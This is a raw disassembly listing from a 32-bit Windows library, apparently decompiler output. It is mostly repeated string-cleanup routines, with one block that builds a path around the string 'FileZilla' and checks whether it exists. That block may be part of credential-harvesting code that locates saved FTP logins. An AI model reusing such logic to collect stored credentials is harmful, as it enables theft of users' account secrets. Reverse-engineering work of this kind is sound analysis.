mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a2d9f
mov ecx, dword [ebp - 0x25c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2d95
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
cmp edx, 0x10
jb 0x100a2df4
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2dea
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x230]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x100a2e49
mov ecx, dword [ebp - 0x244]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2e3f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0xf
mov byte [ebp - 0x244], 0
cmp edx, 0x10
jb 0x100a2e9e
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2e94
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x100a2ef3
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2ee9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
push 0
push 0x100f0188
lea ecx, [ebp - 0x140]
call fcn.100b1950
push 0
push 0x100f0188
lea ecx, [ebp - 0x170]
call fcn.100b1950
push 0
push 0x100f0188
lea ecx, [ebp - 0x188]
call fcn.100b1950
push 0
push 0x100f0188
lea ecx, [ebp - 0x158]
call fcn.100b1950
inc dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x100a2f7b
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2f71
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ebx, dword [ebp - 0x210]
push ebx
call fcn.100c9215
add esp, 4
test eax, eax
je 0x100a1be1
mov esi, dword [ebp - 0x1bc]
push ebx
call fcn.100c654b
add esp, 4
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a3222
cmp byte [eax], 0x30
jne 0x100a3222
mov edx, dword [ebp - 0x1c0]
lea ecx, [ebp - 0x228]
call fcn.100833a0
push 0xb
push str.FileZilla__
push ecx
mov ecx, eax
call fcn.100b5c40
push 0x100f973c
lea ecx, [ebp - 0x1dc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b11c0
push 0x100f9738
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b11c0
push esi
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x20c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b1da0
add esp, 4
mov ecx, esi
push eax
call fcn.100b1280
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x100a30ce
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a30c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3418
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
cmp edx, 0x10
jb 0x100a3123
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3119
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3418
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a3178
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a316e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3418
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x100a31cd
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a31c3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3418
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x100a3222
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3218
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3418
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x100a325c
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3252
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3427
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
cmp edx, 0x10
jb 0x100a32b1
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a32a7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3427
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp edx, 0x10
jb 0x100a3306
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a32fc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3427
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x100a335b
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3351
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3427
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x100a33b0
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a33a6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3427
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x100a33fb
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a33f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3427
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bd09a
mov esp, ebp
pop ebp
ret
call fcn.100c93fd
call fcn.100c93fd
call fcn.100c93fd
call fcn.100b1be0
call fcn.10083390
call fcn.100c93fd
int3